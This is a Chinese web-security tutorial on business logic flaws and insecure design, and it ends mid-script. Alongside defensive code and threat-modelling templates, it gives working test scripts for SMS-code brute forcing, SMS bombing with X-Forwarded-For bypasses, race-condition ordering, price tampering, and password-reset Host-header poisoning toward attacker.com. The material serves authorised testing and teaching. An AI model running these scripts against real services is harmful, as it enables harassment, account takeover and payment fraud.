Skip to content

业务逻辑漏洞:锁是好的,门是纸糊的

A04 是 2021 榜单全新加入的一项,也是十项里最"虚"的一项 —— 它不是某个具体漏洞,而是一整类设计层面就错了的问题。别的九项你可以靠改代码修,A04 往往得改设计


一、设计缺陷 ≠ 实现缺陷

银行级保险柜,装在纸糊的门后面

你买了一个银行级别的保险柜,配了指纹锁、密码锁、机械钥匙三重认证。装好之后你很满意。

然后你把它安在了一扇纸糊的门后面。

小偷不撬保险柜 —— 他把纸门捅破了,保险柜整个搬走。

不安全的设计(Insecure Design) 就是这个意思:每个零件都合格,但整体结构是错的。

先分清楚:这是写错了,还是压根没打算防

这是理解 A04 的核心。同一个现象,可能属于完全不同的两类问题:

现象属于实现缺陷(可改代码修)属于设计缺陷(需改设计)
验证码被爆破验证码校验了但没限频 —— 实现问题压根没设计"失败次数上限"这个机制 —— 设计问题
订单金额被改前端传的金额后端没校验 —— 实现问题架构上允许客户端提交金额 —— 设计问题
密码可重置他人账号重置令牌校验写漏了 —— 实现问题密码找回流程只有"回答密保问题"一个因子 —— 设计问题
商品超卖扣库存没加锁 —— 实现问题下单和扣库存是两个服务且无分布式锁 —— 设计问题

💡 判断口诀"这个 bug 是写错了,还是压根没打算防?" 写错了 = 实现缺陷;没打算防 = 设计缺陷。

这个区分很重要,因为修复方式完全不同:实现缺陷改一行代码,设计缺陷要改流程、加机制,往往涉及产品、后端、风控多个角色。

设计阶段就错的五个原因

  1. 需求只描述了"正常流程" —— 产品文档写"用户输入手机号 → 收到验证码 → 输入验证码 → 登录成功",但没写"如果有人拿别人的手机号刷一万次会怎样"。
  2. 安全需求缺失或太抽象 —— 需求里写一句"要注意安全性",等于没写。
  3. 没有威胁建模 —— 从未系统性地问过"如果攻击者是合法用户,他能干什么"。
  4. 信任边界划错 —— 把"客户端传来的数据"当成可信输入(金额、数量、用户 ID、价格)。
  5. 没有考虑并发与时序 —— 单线程测试一切正常,一上并发全部崩坏。

业务逻辑漏洞全景清单

OWASP 数据:CWE 集合 40 个(是十项里 CWE 数量最多的),平均加权利用率 5.79%,影响 6.78%

典型业务场景清单(这份清单几乎就是业务逻辑漏洞的全景图):

类别具体场景
认证相关密码找回流程可绕过、密保问题答案太简单、重置令牌不过期
验证码相关短信轰炸、验证码可爆破、验证码复用、验证码在响应包中返回、验证码前端校验
订单/支付金额篡改、数量负数、优惠券重复使用、运费篡改、积分套现
并发相关超卖、重复提现、重复领券、并发下重复下单
流程跳过未支付直接跳到已完成、跳过中间步骤、直接访问后续接口
权限与身份账号可枚举(登录/注册返回不同提示)、用户名可被遍历
业务限制缺失无限注册、无限评论、无限领取、无限试用
信任客户端前端计算价格后端不校验、前端判断库存、前端控制流程跳转

📌 真实场景:一个电商的"秒杀"功能。后端校验了库存、校验了活动时间、校验了用户资格 —— 每一项都对。但下单接口没有幂等设计,攻击者用 50 个并发请求同时下单,库存检查全部通过(都看到还剩 1 件),结果卖出了 50 件。每一个检查单独看都是对的,合起来是错的 —— 这就是典型的设计缺陷。


二、没有扫描器能替你思考

先理解业务,再谈漏洞

这是 A04 与其他九项最大的区别:没有任何自动化工具能替你挖业务逻辑漏洞

原因很简单 —— 工具不知道"你的业务规则是什么"。sqlmap 知道 SQL 语法,但它不知道"一个用户一天只能领 3 张券"是你的业务规则。

所以方法只有一个:把自己当成攻击者,理解业务,然后问"如果……会怎样"。

Step 1:画出业务的完整状态机

以"购买流程"为例,先画出所有状态和转移:

  浏览商品 → 加入购物车 → 确认订单 → 支付 → 发货 → 确认收货
                ↓              ↓         ↓
             取消           取消      退款申请

然后对每个转移提问:
  - 能否跳过中间状态?        (直接调"确认收货"接口?)
  - 能否回退?                (已退款的订单能否再次发货?)
  - 能否重复执行?            (重复调用"退款"接口?)
  - 能否在错误的状态执行?    (未支付就调"申请发票"?)
  - 状态判断在哪一端?        (前端控制跳转 = 可绕过)

Step 2:对每一个"用户输入"问四个问题

问题例子
这个值服务端校验了吗?金额、数量、价格、折扣
这个操作有限频吗?发短信、领券、提现、评论
这个操作是幂等的吗?支付、退款、下单
这个操作有并发保护吗?库存扣减、余额扣减

Step 3:列出信任边界,逐个质疑

客户端 → 服务端  这一跳,服务端应该信任什么?
答案:只信任"你是谁"(认证凭据),其余一切都不信。

❌ 不信任:金额、数量、价格、用户ID、角色、库存、折扣、流程步骤
✅ 信任:session/token(且要验签)

Step 4:枚举"异常输入"

输入类型测试值
负数-1-999999
0
极大值999999999999
小数0.010.001(精度问题)
特殊类型字符串、数组、对象、null
越界超出活动库存、超出账户余额

代码审计在这里作用有限,但有几个点能看

设计缺陷在代码里没有明显的"危险函数"特征 —— 代码本身可能是干净的参数化查询、完善的鉴权。所以审计思路要变。

审计问题清单(对着代码逐条问):

【限频】
□ 发短信/邮件接口有没有限频?限频的 key 是什么(手机号?IP?)?能绕过吗(换 IP?加空格?大小写?)?
□ 登录失败有没有计数和锁定?锁定是永久还是临时?会不会被用作"账号锁定攻击"?

【幂等】
□ 支付/退款/提现接口有没有幂等键(idempotency key)?
□ 重复提交同一个订单号会怎样?
□ 网络超时重试会不会导致重复扣款?

【并发】
□ 库存扣减是"先查后改"还是"原子操作"?
  ❌ if (stock > 0) { stock--; update(); }   // 典型竞态
  ✅ UPDATE t SET stock = stock - 1 WHERE id = ? AND stock >= 1;   // 原子
□ 有没有分布式锁?锁的粒度对吗?锁的超时时间合理吗?

【服务端校验】
□ 金额是从数据库读的还是从请求里取的?
□ 库存判断在服务端还是前端?
□ 优惠券是否已使用的判断,是在"标记"还是"查询"?

【流程完整性】
□ 步骤 N+1 的接口,会不会校验步骤 N 已完成?
□ 状态流转有没有白名单(比如只能从 PAID → SHIPPED,不能 CREATED → SHIPPED)?

代码特征(能 grep 的少数几条)

bash
# 找"先查后改"的库存/余额模式(竞态嫌疑)
grep -rnE "if\s*\(.*(stock|balance|amount|quota)\s*[><=]" --include=*.java --include=*.py -A3 | grep -iE "update|save|set"

# 找缺失幂等键的资金操作接口
grep -rnE "(pay|refund|withdraw|transfer)" --include=*Controller.java -i | grep -viE "idempot|token|nonce|unique"

# 找短信/邮件发送接口,确认是否有限频
grep -rnE "(sendSms|sendMail|sendCode)" --include=*.java --include=*.py -i
# 然后人工确认调用链上是否有 rateLimit / redis.incr 之类的限频逻辑

黑盒:把 Burp 当流程编辑器用

方法:把 Burp 当"流程编辑器"用

核心操作:打乱请求的顺序、重复、并发、改参数

测试用例模板(对每个关键业务接口都跑一遍):

用例操作期望的安全行为
重放同一个请求发两次第二次应失败或被识别为重复
乱序跳过前序步骤,直接调后续接口应校验前置状态
改金额改 price/amount 字段服务端应使用库中的价格
改数量改成负数/超大数应校验范围
改数量(小数)quantity=0.5应校验为整数
并发同时发 20 个相同请求应只有一个成功
越权换用户 token应 403
改状态改 status 字段服务端不应接受客户端传的状态
删除字段删掉某个必填字段不应走默认放行逻辑
增加字段增加额外字段(如 isVip=true)服务端不应接受

关键请求特征识别

http
# 一个典型的"客户端传金额"的危险请求
POST /api/order/create HTTP/1.1
Content-Type: application/json

{
  "productId": 1001,
  "quantity": 1,
  "price": 0.01,           🚨 危险信号:价格由客户端提交
  "totalAmount": 0.01,     🚨 危险信号:总金额由客户端提交
  "couponId": 8888,
  "addressId": 5
}

# 安全的请求应该长这样
POST /api/order/create HTTP/1.1
{
  "productId": 1001,
  "quantity": 1,           只提交"要什么、要多少",价格服务端自己查
  "couponId": 8888,
  "addressId": 5
}

💡 踩坑提示:看到请求里有 price / amount / total / discount / balance 这类字段,第一反应就是改它。我统计过自己挖到的支付类漏洞,超过一半就是"改个数字"这么简单 —— 因为开发习惯了"前端算好,后端直接用"。

并发测试的判断依据

正常情况:20 个并发请求买 1 件库存商品 → 应只有 1 个成功
异常情况:多个成功 → 存在并发设计缺陷

正常情况:20 个并发提现请求,余额 100 → 应只有 1 个成功(或总额不超 100)
异常情况:20 个全成功,共提现 2000 → 严重资金安全缺陷

三、四类高频业务缺陷的复现

⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。

验证码爆破:Intruder 三步

场景:登录/注册的短信验证码是 4-6 位数字,服务端没限制尝试次数。

Step 1:抓包

http
POST /api/verify-code HTTP/1.1
Host: target.com
Content-Type: application/json

{"phone":"13800138000","code":"1234"}

Step 2:发送到 IntruderCtrl+I),把 1234 设为 payload 位置

选中 1234 → 点 "Add §"
请求变成: {"phone":"13800138000","code":"§1234§"}

Step 3:配置 Payload

Payload type: Brute forcer
Character set: 0123456789
Min length: 4
Max length: 4

或者用 Numbers 类型(纯数字更快):

Payload type: Numbers
From: 0000  To: 9999  Step: 1
Min integer digits: 4    ← 关键!保证补零成 4 位

Step 4:识别成功响应

点 "Start attack",跑完后:
- 按 Length 列排序,长度明显不同的那个就是成功响应
- 或点 "Grep - Match" 设置成功标志(如 "success":true / "登录成功")

💡 踩坑提示:爆破前先手动发一次错误验证码一次正确验证码(如果有),把两次响应存下来做对比基准。这样 Intruder 跑完能一眼看出哪个是成功。不然一万条结果肉眼根本看不完。

短信轰炸与限频绕过

场景:发短信接口无限频,可对任意手机号无限发短信。

Step 1:确认无限频

bash
# 连续发送 10 次,看是否全部成功
for i in $(seq 1 10); do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/api/send-sms \
    -H "Content-Type: application/json" \
    -d '{"phone":"13800138000"}')
  echo "第 $i 次: HTTP $code"
  sleep 1
done
# 若 10 次全部 200 → 无限频,短信轰炸成立

Step 2:测试限频绕过手法(如果有限频)

bash
# 手法 1:加空格/特殊字符(后端可能 trim 后才判断,但缓存 key 用的是原始的)
curl -X POST https://target.com/api/send-sms -d '{"phone":" 13800138000"}'
curl -X POST https://target.com/api/send-sms -d '{"phone":"13800138000 "}'

# 手法 2:加国际区号前缀
curl -X POST https://target.com/api/send-sms -d '{"phone":"+8613800138000"}'
curl -X POST https://target.com/api/send-sms -d '{"phone":"008613800138000"}'

# 手法 3:参数污染(同一参数传两次)
curl -X POST https://target.com/api/send-sms -d 'phone=13800138000&phone=13800138001'

# 手法 4:换参数名(phone / mobile / tel / phoneNum)
curl -X POST https://target.com/api/send-sms -d '{"mobile":"13800138000"}'

# 手法 5:改 JSON 类型(数字 vs 字符串)
curl -X POST https://target.com/api/send-sms -d '{"phone":13800138000}'

# 手法 6:换 IP(X-Forwarded-For 头欺骗,若限频基于 XFF)
curl -X POST https://target.com/api/send-sms \
  -H "X-Forwarded-For: 1.2.3.${RANDOM}" \
  -d '{"phone":"13800138000"}'

📌 判断依据:限频的 key 是什么决定了能否绕过。基于手机号限频最安全;基于 IP 的可换 IP 绕过;基于 Session 的可换 session 绕过。如果限频逻辑取的是客户端可控的头(如 XFF),那等于没限。

并发验证:Turbo Intruder 比 Intruder 更准

普通 Intruder 的并发控制不精确,测并发缺陷要用 Turbo Intruder(Burp BApp 里的插件)。

python
# Turbo Intruder 脚本:并发下单测试
# 在 Burp 中:右键请求 → Extensions → Turbo Intruder → Send to Turbo Intruder

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=50,    # 并发连接数,调大以增加竞态成功率
        requestsPerConnection=1,
        pipeline=False
    )

    # 同一个请求发 50 次,尽可能同时到达
    for i in range(50):
        engine.queue(target.req, gate='race1')

    # gate 的作用:先把请求都排队,然后一次性"开闸",最大化并发
    engine.openGate('race1')

    # 等待所有请求完成
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    # 只记录成功的响应(根据实际业务调整判断条件)
    if '200' in req.status or '"success":true' in req.response:
        table.add(req)

# 跑完后看结果表格:如果 50 个请求里有多个 200 → 并发设计缺陷成立
# 对比:库存只有 1 件,但有 20 个订单创建成功 → 超卖

替代方案:用 Bash + curl 做简单并发测试

bash
#!/usr/bin/env bash
# 简单并发测试:同时发起 N 个请求
# 用法: bash race.sh 50

N=${1:-20}
URL="https://target.com/api/order/create"
TOKEN="eyJhbGciOiJIUzI1NiIs..."
DATA='{"productId":1001,"quantity":1}'

echo "[*] 发起 $N 个并发请求..."

# 后台并发发起所有请求
for i in $(seq 1 "$N"); do
  (
    code=$(curl -s -o "/tmp/resp_$i.txt" -w "%{http_code}" -X POST "$URL" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d "$DATA" --max-time 15)
    echo "$code" >> /tmp/codes.txt
  ) &
done

wait   # 等待所有后台任务完成

echo "[*] 响应码统计:"
sort /tmp/codes.txt | uniq -c | sort -rn
echo "[*] 结果文件: /tmp/resp_*.txt"
echo "[*] 若成功(200)的数量 > 库存数量 → 存在并发设计缺陷"

rm -f /tmp/codes.txt

金额篡改、负数与精度攻击

bash
#!/usr/bin/env bash
# 业务逻辑异常输入测试集

URL="https://target.com/api/order/create"
TOKEN="eyJhbGciOiJIUzI1NiIs..."

test_case() {
  local name="$1" data="$2"
  echo "----- $name -----"
  resp=$(curl -s -X POST "$URL" \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "$data" --max-time 10)
  echo "请求: $data"
  echo "响应: $(echo "$resp" | head -c 300)"
  echo
}

# 1. 改金额
test_case "改金额为 0.01"  '{"productId":1001,"quantity":1,"price":0.01}'
#   期望:服务端忽略客户端 price,使用库中价格;或被拒绝

# 2. 数量为负数
test_case "数量为负"       '{"productId":1001,"quantity":-1}'
#   期望:应被拒绝。若接受且总价为负 → 严重漏洞(可"反向支付")

# 3. 数量为零
test_case "数量为零"       '{"productId":1001,"quantity":0}'
#   期望:应被拒绝

# 4. 数量为小数
test_case "数量为小数"     '{"productId":1001,"quantity":0.5}'
#   期望:应被拒绝(商品按件卖)

# 5. 数量极大值(整数溢出)
test_case "数量极大"       '{"productId":1001,"quantity":999999999999}'
#   期望:应被拒绝。若总价溢出成负数 → 严重漏洞

# 6. 精度攻击
test_case "金额精度"       '{"productId":1001,"quantity":1,"price":0.001}'
#   期望:应被拒绝或四舍五入

# 7. 增加未授权字段
test_case "注入 VIP 字段"  '{"productId":1001,"quantity":1,"isVip":true,"discount":0.1}'
#   期望:服务端不应接受 isVip / discount 这类客户端字段

# 8. 优惠券重复使用
test_case "优惠券复用"     '{"productId":1001,"quantity":1,"couponId":8888}'
#   连发两次,第二次应失败(券已使用)

# 9. 改状态字段
test_case "篡改订单状态"   '{"productId":1001,"quantity":1,"status":"PAID"}'
#   期望:服务端不接受客户端传的 status

# 10. 删除必填字段
test_case "缺失字段"       '{"quantity":1}'
#   期望:应返回参数错误,不应走默认逻辑

密码找回:设计缺陷的重灾区

密码找回是设计缺陷的重灾区。测试清单:

bash
#!/usr/bin/env bash
# 密码重置流程设计缺陷测试清单
# 用法: bash reset_flow_test.sh

BASE="https://target.com"
VICTIM="victim@example.com"
ATTACKER="attacker@example.com"

echo "===== 1. 验证码是否在响应中返回 ====="
# 最经典的设计缺陷:为了"方便调试"把验证码直接返回
resp=$(curl -s -X POST "$BASE/api/forgot-password" \
  -H "Content-Type: application/json" -d "{\"email\":\"$ATTACKER\"}")
echo "$resp" | head -c 500
# 若响应中包含 code / token / verifyCode → 严重设计缺陷
echo; echo

echo "===== 2. 重置令牌是否可复用 ====="
# 用同一个令牌重置两次密码
TOKEN="从邮件/响应中获取"
curl -s -X POST "$BASE/api/reset-password" \
  -H "Content-Type: application/json" \
  -d "{\"token\":\"$TOKEN\",\"newPassword\":\"Pass123!\"}" | head -c 200
echo "  ← 第一次"
curl -s -X POST "$BASE/api/reset-password" \
  -H "Content-Type: application/json" \
  -d "{\"token\":\"$TOKEN\",\"newPassword\":\"Pass456!\"}" | head -c 200
echo "  ← 第二次(应失败:"令牌已使用")"
echo; echo

echo "===== 3. 重置令牌是否绑定身份 ====="
# 用 A 的令牌去重置 B 的密码
curl -s -X POST "$BASE/api/reset-password" \
  -H "Content-Type: application/json" \
  -d "{\"token\":\"$TOKEN\",\"email\":\"$VICTIM\",\"newPassword\":\"Hacked123!\"}" | head -c 200
# 若成功 → 令牌与身份未绑定,可直接重置任意账号
echo; echo

echo "===== 4. 是否可枚举账号 ====="
echo "存在的账号:"
curl -s -X POST "$BASE/api/forgot-password" \
  -H "Content-Type: application/json" -d "{\"email\":\"$VICTIM\"}" | head -c 200
echo; echo "不存在的账号:"
curl -s -X POST "$BASE/api/forgot-password" \
  -H "Content-Type: application/json" -d '{"email":"nonexist-xyz@example.com"}' | head -c 200
# 若两次响应不同(如"已发送" vs "用户不存在")→ 可用于枚举注册用户
echo; echo

echo "===== 5. Host 头污染 ====="
# 修改 Host 头,让重置链接指向攻击者域名
curl -s -X POST "$BASE/api/forgot-password" \
  -H "Content-Type: application/json" \
  -H "Host: attacker.com" \
  -d "{\"email\":\"$VICTIM\"}"
# 若邮件中的重置链接使用了 Host 头 → 受害者点击后令牌泄露给攻击者
echo; echo

echo "===== 完成 ====="

密码重置的安全设计标准(作为对照):

✅ 令牌:密码学随机(≥32字节)、一次性、15分钟内有效
✅ 令牌与用户 ID 绑定(不能 A 的令牌重置 B 的密码)
✅ 重置成功后,令牌立即失效 + 强制所有会话登出
✅ 响应统一(无论账号是否存在,都返回"若账号存在已发送")
✅ 重置链接的域名从服务端配置读取,不依赖 Host 头
✅ 重置流程需要二次验证(如已登录用户需重新输入原密码)

四、从威胁建模到风控规则

威胁建模:把安全需求写进验收标准

A04 的根治手段不在代码层,在设计评审阶段。最实用的方法是 STRIDE 威胁建模

STRIDE 六问(对每个功能/数据流都问一遍):

字母威胁要问的问题
Spoofing 仿冒身份伪造身份怎么验证?凭据能否被伪造/窃取?
Tampering 篡改数据篡改数据完整性怎么保证?客户端传的值可信吗?
Repudiation 抵赖否认操作操作有日志吗?能追溯吗?
Information Disclosure 信息泄露信息泄露响应里泄露了什么?错误信息详细吗?
Denial of Service 拒绝服务服务不可用有限频吗?有资源消耗上限吗?
Elevation of Privilege 权限提升权限提升权限校验在哪一层?默认拒绝吗?

落地:一份简化的威胁建模模板

markdown
## 功能:用户提现

### 数据流
用户 → [提现接口] → [余额服务] → [风控服务] → [支付网关]

### 信任边界
- 用户 → 服务端:不可信(全部输入需校验)
- 服务端 → 支付网关:半可信(需签名校验)

### STRIDE 分析
| 威胁 | 场景 | 缓解措施 |
|---|---|---|
| T 篡改 | 客户端传提现金额为负 | 服务端校验范围,只信 DB 中的余额 |
| T 篡改 | 并发提现绕过余额检查 | 数据库原子操作 + 分布式锁 |
| R 抵赖 | 用户否认提现 | 全链路日志 + 短信确认 |
| D 拒绝服务 | 高频提现请求打垮支付网关 | 接口限频(用户维度 + 全局维度) |
| E 权限提升 | 修改 userId 提现他人余额 | 服务端从 token 取 userId,不信任请求参数 |
| S 仿冒 | 盗用 token 提现 | 大额提现二次验证(短信/人脸) |

### 安全需求(写进需求文档)
1. 提现金额必须 > 0 且 ≤ 账户余额,服务端校验
2. 单用户每日提现次数 ≤ 3,单笔限额 50000
3. 提现接口必须幂等,幂等键 = userId + orderNo
4. 余额扣减必须为数据库原子操作
5. 提现记录全量审计日志,保留 180 天
6. 大额提现(> 10000)需二次验证

💡 落地建议:不要把威胁建模搞成"写文档走过场"。最有效的形式是一个 30 分钟的评审会:产品讲一遍流程,安全对照 STRIDE 六问逐个问,把结论直接写成上面表格里的"安全需求",然后让这些需求进需求文档的验收标准。写进验收标准的需求才会被测试,否则就是纸面文章。

限频要防绕过:手机号规范化是前提

java
// ✅ 基于 Redis 的分布式限频(手机号维度 + IP 维度双重限频)
@Component
public class RateLimiter {
    @Autowired private StringRedisTemplate redis;

    /**
     * 滑动窗口限频
     * @param key      限频键(如 "sms:phone:13800138000")
     * @param maxCount 窗口内最大次数
     * @param windowSec 窗口秒数
     */
    public boolean tryAcquire(String key, int maxCount, int windowSec) {
        String redisKey = "rate:" + key;
        long now = System.currentTimeMillis();

        // Lua 脚本保证原子性(避免并发下的 check-then-act 竞态)
        String lua =
            "local current = redis.call('ZCOUNT', KEYS[1], ARGV[1], ARGV[2]) " +
            "if current < tonumber(ARGV[3]) then " +
            "  redis.call('ZADD', KEYS[1], ARGV[2], ARGV[2]) " +
            "  redis.call('PEXPIRE', KEYS[1], ARGV[4]) " +
            "  return 1 " +
            "else return 0 end";

        Long result = redis.execute(
            new DefaultRedisScript<>(lua, Long.class),
            Collections.singletonList(redisKey),
            String.valueOf(now - windowSec * 1000),  // 窗口起始
            String.valueOf(now),                     // 窗口结束
            String.valueOf(maxCount),
            String.valueOf(windowSec * 1000)         // TTL
        );
        return result != null && result == 1;
    }

    // 发送短信时的使用
    public Result sendSms(String phone, String clientIp) {
        // 关键:先做手机号规范化(去掉空格、统一区号),避免绕过
        String normalizedPhone = normalizePhone(phone);

        // 维度1:手机号 —— 1分钟1次,1小时5次,1天10次
        if (!tryAcquire("sms:phone:" + normalizedPhone, 1, 60)) {
            return Result.error("发送过于频繁,请稍后再试");
        }
        if (!tryAcquire("sms:phone:h:" + normalizedPhone, 5, 3600)) {
            return Result.error("今日发送次数已达上限");
        }
        // 维度2:IP —— 1小时20次(防止换手机号轰炸)
        if (!tryAcquire("sms:ip:" + clientIp, 20, 3600)) {
            return Result.error("请求过于频繁");
        }

        // 全部通过才真正发送
        return smsService.send(normalizedPhone);
    }

    // 手机号规范化:这是防绕过的关键
    private String normalizePhone(String phone) {
        if (phone == null) return "";
        // 去空格、横杠、括号
        String p = phone.replaceAll("[\\s\\-()]", "");
        // 统一去掉 +86 / 0086 前缀
        p = p.replaceAll("^(\\+?86)", "");
        return p;
    }
}

💡 踩坑提示:限频必须做手机号规范化。我见过太多限频被 +86 前缀、空格、大小写绕过的案例 —— 因为后端"发送时"会规范化,但"限频 key"用的是原始输入,两者不一致。

幂等:幂等键 + 数据库唯一索引双保险

java
// ✅ 幂等键设计:防止重复提交导致的重复扣款/重复下单
@RestController
public class PaymentController {

    @Autowired private StringRedisTemplate redis;

    @PostMapping("/api/pay")
    public Result pay(@RequestBody PayRequest req,
                      @RequestHeader("Idempotency-Key") String idempotencyKey) {
        // idempotencyKey 由客户端生成(UUID),重试时使用同一个 key

        String redisKey = "idem:" + idempotencyKey;

        // SET NX EX:原子性地抢占,成功返回 true
        Boolean acquired = redis.opsForValue()
            .setIfAbsent(redisKey, "PROCESSING", Duration.ofMinutes(10));

        if (Boolean.FALSE.equals(acquired)) {
            // key 已存在 → 说明是重复请求
            String status = redis.opsForValue().get(redisKey);
            if ("PROCESSING".equals(status)) {
                return Result.error("请求正在处理中,请勿重复提交");
            }
            // 已处理完成 → 返回首次的结果(幂等的核心:返回相同结果而非报错)
            return Result.success(loadOriginalResult(idempotencyKey));
        }

        try {
            PaymentResult result = doPay(req);
            // 处理成功,记录结果
            redis.opsForValue().set(redisKey, "DONE:" + result.getOrderNo(),
                                    Duration.ofHours(24));
            return Result.success(result);
        } catch (Exception e) {
            // 失败时删除 key,允许客户端重试
            redis.delete(redisKey);
            throw e;
        }
    }
}

数据库层的幂等保障

sql
-- 唯一索引是幂等的最强保障(数据库层面兜底)
-- 订单表:业务唯一键加唯一索引
ALTER TABLE orders ADD UNIQUE KEY uk_user_product_seckill (user_id, product_id, seckill_id);

-- 这样即使应用层幂等失效,数据库也会拒绝重复插入
-- 应用层捕获 DuplicateKeyException 后返回"请勿重复下单"

并发:原子 UPDATE 优于分布式锁

java
// ❌ 危险:先查后改,存在竞态窗口
public boolean deductStock(Long productId, int count) {
    Product p = productMapper.selectById(productId);
    if (p.getStock() >= count) {          // ← 检查
        p.setStock(p.getStock() - count); // ← 修改(这中间有时间差!)
        productMapper.updateById(p);
        return true;
    }
    return false;
}
// 并发下:100 个请求同时通过检查,然后各自扣减 → 超卖

// ✅ 方案 1:数据库原子操作(首选,最简单可靠)
@Update("UPDATE product SET stock = stock - #{count} " +
        "WHERE id = #{productId} AND stock >= #{count}")
int deductStockAtomic(@Param("productId") Long productId, @Param("count") int count);

public boolean deductStock(Long productId, int count) {
    // 影响行数 = 1 表示扣减成功;= 0 表示库存不足
    return productMapper.deductStockAtomic(productId, count) > 0;
}
// 原理:UPDATE 语句在数据库层面是原子的,WHERE 条件和 SET 在同一语句内完成,
//       不存在"检查"和"修改"之间的时间差

// ✅ 方案 2:乐观锁(适合读多写少,需要重试机制)
@Update("UPDATE product SET stock = stock - #{count}, version = version + 1 " +
        "WHERE id = #{productId} AND version = #{version} AND stock >= #{count}")
int deductWithVersion(@Param("productId") Long id,
                      @Param("count") int count,
                      @Param("version") int version);

// ✅ 方案 3:分布式锁(适合复杂业务逻辑,如涉及多表)
public boolean createOrder(Long productId, int count) {
    String lockKey = "lock:product:" + productId;
    RLock lock = redissonClient.getLock(lockKey);
    try {
        // 尝试加锁,最多等 3 秒,锁 10 秒后自动释放(防死锁)
        if (lock.tryLock(3, 10, TimeUnit.SECONDS)) {
            // 在锁内执行完整业务逻辑
            return doCreateOrder(productId, count);
        }
        return false;   // 拿不到锁,快速失败
    } finally {
        if (lock.isHeldByCurrentThread()) {
            lock.unlock();   // 必须判断是否是自己的锁,防止误释放
        }
    }
}

选择建议

场景推荐方案
简单库存/余额扣减数据库原子 UPDATE(方案 1),最简单最可靠
读多写少、并发不高乐观锁(方案 2),无锁开销
复杂业务(多表、多步骤)分布式锁(方案 3)
秒杀超高并发Redis 预扣减 + 异步落库 + 队列削峰

金额永远服务端算,永远用 BigDecimal

java
// ✅ 正确的下单逻辑:价格、库存、优惠券全部服务端计算
@Transactional
public OrderResult createOrder(CreateOrderRequest req, Long userId) {
    // 1. 从数据库读取商品(价格以 DB 为准,绝不取客户端传的)
    Product product = productMapper.selectById(req.getProductId());
    if (product == null || !product.isOnSale()) {
        throw new BizException("商品不存在或已下架");
    }

    // 2. 校验数量(范围、类型)
    if (req.getQuantity() <= 0 || req.getQuantity() > 100) {
        throw new BizException("购买数量不合法");
    }

    // 3. 服务端计算金额(BigDecimal,绝不用 double 处理金额!)
    BigDecimal unitPrice = product.getPrice();
    BigDecimal totalAmount = unitPrice.multiply(BigDecimal.valueOf(req.getQuantity()));

    // 4. 优惠券校验(服务端查,校验归属、有效期、是否已用)
    BigDecimal discount = BigDecimal.ZERO;
    if (req.getCouponId() != null) {
        Coupon coupon = couponMapper.selectById(req.getCouponId());
        if (coupon == null
            || !coupon.getUserId().equals(userId)       // 归属校验
            || coupon.getStatus() != CouponStatus.UNUSED // 未使用校验
            || coupon.getExpireAt().isBefore(LocalDateTime.now())) {  // 有效期校验
            throw new BizException("优惠券不可用");
        }
        if (totalAmount.compareTo(coupon.getMinAmount()) < 0) {
            throw new BizException("未满足优惠券使用门槛");
        }
        discount = coupon.getAmount();
        // 原子性地标记优惠券为已使用(防并发复用)
        int used = couponMapper.markUsed(coupon.getId(), userId);
        if (used == 0) {
            throw new BizException("优惠券已被使用");
        }
    }

    // 5. 最终金额(服务端计算,客户端传的一律忽略)
    BigDecimal payAmount = totalAmount.subtract(discount).max(BigDecimal.ZERO);

    // 6. 原子扣减库存
    if (!stockService.deduct(req.getProductId(), req.getQuantity())) {
        throw new BizException("库存不足");   // 事务回滚,优惠券也恢复
    }

    // 7. 创建订单,状态由服务端设定(不接受客户端传的 status)
    Order order = new Order();
    order.setUserId(userId);              // 用户 ID 从 token 取,不从请求取
    order.setPayAmount(payAmount);
    order.setStatus(OrderStatus.WAIT_PAY); // 服务端设定初始状态
    orderMapper.insert(order);

    return OrderResult.of(order);
}

金额必须使用 BigDecimal

java
// ❌ 危险:double 有精度问题
double price = 0.1;
double total = price * 3;   // = 0.30000000000000004
// 攻击者可利用精度差异构造 0.001 级别的套利

// ✅ 正确:BigDecimal 且用字符串构造
BigDecimal price = new BigDecimal("0.1");
BigDecimal total = price.multiply(new BigDecimal("3"));   // = 0.3 精确
// 注意:new BigDecimal(0.1) 也有精度问题,必须用字符串构造器

风控规则:WAF 管不了业务逻辑

业务逻辑漏洞无法通过 WAF 规则根治(因为每个请求单独看都是"合法"的),必须靠行为风控

yaml
# 风控规则集示例

# 规则 1:异常下单频率
- id: abnormal-order-frequency
  condition:
    metric: order_count
    group_by: user_id
    window: 60s
    threshold: 10              # 1 分钟 10 单
  action: [alert, manual_review]
  severity: high

# 规则 2:金额异常(远低于商品正常价)
- id: abnormal-order-amount
  condition:
    metric: order_amount
    compare: less_than
    threshold: 0.3             # 低于历史均价的 30%
  action: [block, alert]
  severity: critical
  note: "可能是金额篡改攻击"

# 规则 3:同一优惠券多次尝试使用
- id: coupon-reuse-attempt
  condition:
    metric: coupon_use_attempt
    group_by: [coupon_id, user_id]
    window: 300s
    threshold: 2
  action: [alert]
  severity: medium

# 规则 4:验证码爆破检测
- id: verify-code-bruteforce
  condition:
    metric: verify_code_fail
    group_by: phone
    window: 300s
    threshold: 5
  action: [block_phone_1h, alert]
  severity: high

# 规则 5:短信轰炸检测
- id: sms-bombing
  condition:
    metric: sms_send_count
    group_by: [phone, ip]
    window: 3600s
    threshold: 10
  action: [block, alert]
  severity: high

# 规则 6:并发请求检测(同一接口高频同参)
- id: concurrent-identical-request
  condition:
    metric: identical_request_count
    group_by: [user_id, endpoint, request_hash]
    window: 5s
    threshold: 5
  action: [rate_limit, alert]
  severity: high
  note: "可能是并发漏洞利用"

埋点要求:风控的前提是数据。关键业务操作必须埋点,字段至少包含:

user_id, session_id, ip, ua, device_fingerprint,
endpoint, request_params(脱敏), response_code,
timestamp, trace_id

回归验证(含并发用例)

bash
#!/usr/bin/env bash
# 业务逻辑设计缺陷回归验证

BASE="https://target.com"
TOKEN="eyJhbGciOiJIUzI1NiIs..."
PASS=0; FAIL=0

check() {
  # check <用例名> <期望结果描述> <实际HTTP码> <期望码>
  if [ "$3" = "$4" ]; then
    echo "[PASS] $1 (期望 $4, 实际 $3)"; PASS=$((PASS+1))
  else
    echo "[FAIL] $1 (期望 $4, 实际 $3)"; FAIL=$((FAIL+1))
  fi
}

auth_post() {
